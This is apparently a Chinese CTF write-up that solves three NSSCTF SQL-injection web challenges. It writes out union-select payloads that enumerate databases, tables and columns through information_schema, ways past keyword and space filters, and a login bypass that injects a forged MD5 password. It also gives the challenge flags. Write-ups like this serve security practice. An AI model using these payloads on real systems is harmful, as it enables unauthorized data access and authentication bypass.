NSSCTF———Web（sql注入）

[LitCTF 2023]这是什么？SQL ！注一下！

[SWPUCTF 2022 新生赛]ez_sql

[GXYCTF 2019]BabySqli

点击右下角文章可跳转

[LitCTF 2023]这是什么？SQL ！注一下！

首先我们打开靶场查看信息，提示了闭合方式为id = (((((())))))

然后我们进行判断回显位，用order by或group by都可以，会发现2有回显，3没有回显，所以回显位为2。如果细心可以发现题目也有提示username，password也可以猜测回显位为2，如果保险起见也可以测试一下

接下来就是进行查询数据库的操作，一般来说我们用http://node5.anna.nssctf.cn:28411/?id=1)))))) union select 1,database() --+这种语句来查询，但这道题数据库有很多，而且直接查出来的数据库得到的flag是假的，所以我就不演示了，你们可以自己查查看，我们直接查询全部数据库名

我用的是union select 1,schema_name from information_schema.schemata--+来查询

可以看到有几个很可能存在flag的数据库 ctftraining和ctf，这里我就直接跟大家说第一个存在真的flag。然后进行常规的sql注入

第一步，查表名 union select 1,group_concat(table_name)from information_schema.tables where table_schema='ctftraining'--+

可以看到有一个叫flag的表名，

第二步，查列名：union select 1,group_concat(column_name)from information_schema.columns where table_name='flag'--+

最后再查询一下这个叫flag的数据就可以得到flag

union select 1,group_concat(flag)from ctftraining.flag--+

[SWPUCTF 2022 新生赛]ez_sql

上来给了一波提示，相对安全的传参意思就是POST传参，还直接提示了参数是nss，我们先尝试随便输个数字，直接给了flag，但是这flag一看就是假的

然后用nss1 and1=1 这种手段判断类型，这题是字符型我就不演示了，然后我们要去判断回显数，会发现or和空格都被过滤了

然后我们用双写or绕过，用/**/代替空格，对了这里--+也被过滤了，我们可以用#号带替--+

我们再试一次 nss=1'/**/oorrder/**/by/**/3#

如果是4的话会报错，所以回显数为3

然后我们用联合查询去查数据库名，这道题的union也被过滤了，同样我们双写绕过 nss=1'/**/uniunionon/**/select/**/1,2,database()/**/limit/**/1,1#

后面用了limit 1,1，因为第一个回显位没有我们要的信息，我们需要跳转到第二个回显位，所以得到数据库名，NSS_db

下一步就是查表名 nss=1'/**/uniunionon/**/select/**/1,2,group_concat(table_name)from/**/infoorrmation_schema.tables/**/where/**/table_schema='NSS_db'/**/limit/**/1,1#

记得information里面的or也需要双写

根据表名的格式估计flag在NSS_tb里面，继续查列名

nss=1'/**/uniunionon/**/select/**/1,2,group_concat(column_name)from/**/infoorrmation_schema.columns/**/where/**/table_name='NSS_tb'/**/limit/**/1,1#

再继续查这里面的数据 nss=1'/**/uniunionon/**/select/**/1,2,group_concat(id,Secr3t,flll444g)from/**/NSS_db.NSS_tb/**/limit/**/1,1#

得到flag：NSSCTF{b734ae20-5169-4ce2-8fce-9e3a4f0c7830}NSSCTF{b734ae20-5169-4ce2-8fce-9e3a4f0c7830}

[GXYCTF 2019]BabySqli

这道题差点把我绕懵了

首先我们打开环境是一个登录界面，先尝试一下万能密码啥的，我这里先直接抓包，在burpsuit里面操作，发送到中继发现有一串神秘字母

拿去解密一下，发现是base32和base64的加密，解密得到 select * from user where username = '$name'

这段代码的意思是检索你输入的username是否在数据库中存在，我们可能就大致对这道题的查询有点数，我们去测试一下回显

注意这里是过滤了or的用大小写绕过，发现为4时报错，说明回显有三个，但如果我们去实际查询表名列名会发现很难查出来，因为这道题的过滤非常严格。

那我们要用做题的经验来看，这是一道登录的界面，而列数又是三列，那估计三列分别对应id，username，password。再结合一开始解密的信息，依次去查询是否存在数据，那这三列就很有可能了

再加上我们可以发现，当我们随便输入账号密码时，弹出的是 wrong user!

当我们账户是admin时，弹出的是 wrong pass!

说明admin这个账户是存在的，但是我们不知道admin在第几列，我们可以去试一试，当放在第一列时：

提示用户名不对

放在第二列时，显示wrong pass! 说明username正确

我们知道了账号，那我们得知道密码才能登录成功，这里有一个知识点：mysql在查询不存在的数据时会自动构建虚拟数据，一般数据要么明文，要么MD5；

我们不知道密码我们可以去构造密码，用md5的形式，就比如我输的密码是123，那我用md5加密后输入到第三列，那也可以完成查询，登陆成功

123经过md5加密后结果为：202cb962ac59075b964b07152d234b70

下面实践：

得到flag：

NSSCTF{ce21b171-dc0b-4b09-a56d-d6cd629ae515}

这题的密码不是唯一的，随便你密码是什么，自己构造，md5加密输入进去就行啦